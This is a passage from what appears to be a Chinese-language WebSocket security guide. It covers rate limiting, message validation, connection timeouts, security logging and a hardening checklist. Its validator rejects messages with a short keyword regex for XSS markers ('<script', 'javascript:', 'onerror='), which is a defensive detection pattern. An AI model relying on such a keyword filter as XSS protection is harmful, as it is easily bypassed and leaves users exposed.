每分钟最多100条消息 return false; } userLimit.count++; return true;}wss.on('connection', (ws, req) => { ws.on('message', (message) => { if (!checkRateLimit(userId)) { ws.send(JSON.stringify({ type: 'error', message: 'Rate limit exceeded' })); return; } // 处理消息 });});5. 输入验证和消息过滤验证所有传入消息:function validateMessage(message) { const data = JSON.parse(message); // 验证消息结构 if (!data.type || typeof data.type !== 'string') { return false; } // 验证消息类型 const allowedTypes = ['chat', 'ping', 'auth']; if (!allowedTypes.includes(data.type)) { return false; } // 验证数据大小 if (JSON.stringify(data).length > 10240) { // 10KB 限制 return false; } // 验证内容(防止 XSS) if (data.content && /<script|javascript:|onerror=/i.test(data.content)) { return false; } return true;}ws.on('message', (message) => { if (!validateMessage(message)) { ws.close(1007, 'Invalid frame payload data'); return; } // 处理有效消息});6. 连接超时管理设置合理的超时时间:// 服务器端超时设置const server = http.createServer();const wss = new WebSocket.Server({ server, clientTracking: true, perMessageDeflate: false});// 设置 ping/pong 超时wss.on('connection', (ws) => { ws.isAlive = true; ws.on('pong', () => { ws.isAlive = true; });});// 定期检查连接状态const interval = setInterval(() => { wss.clients.forEach((ws) => { if (ws.isAlive === false) { return ws.terminate(); } ws.isAlive = false; ws.ping(); });}, 30000);wss.on('close', () => { clearInterval(interval);});7. 日志和监控记录安全相关事件:const securityLogger = { logConnection: (userId, ip, userAgent) => { console.log(`[SECURITY] Connection from ${ip} - User: ${userId} - UA: ${userAgent}`); }, logUnauthorized: (ip, reason) => { console.warn(`[SECURITY] Unauthorized connection attempt from ${ip} - Reason: ${reason}`); }, logSuspiciousActivity: (userId, activity) => { console.error(`[SECURITY] Suspicious activity from user ${userId}: ${activity}`); }};8. 网络层安全防火墙和负载均衡器配置:限制连接来源 IP设置最大连接数启用 DDoS 防护配置 Web 应用防火墙(WAF)安全检查清单[ ] 使用 WSS 加密连接[ ] 实施身份验证机制[ ] 验证 Origin 头部[ ] 实现速率限制[ ] 验证所有输入消息[ ] 设置连接超时[ ] 记录安全事件日志[ ] 定期更新依赖库[ ] 进行安全审计和渗透测试
阅读 0·2月18日 21:30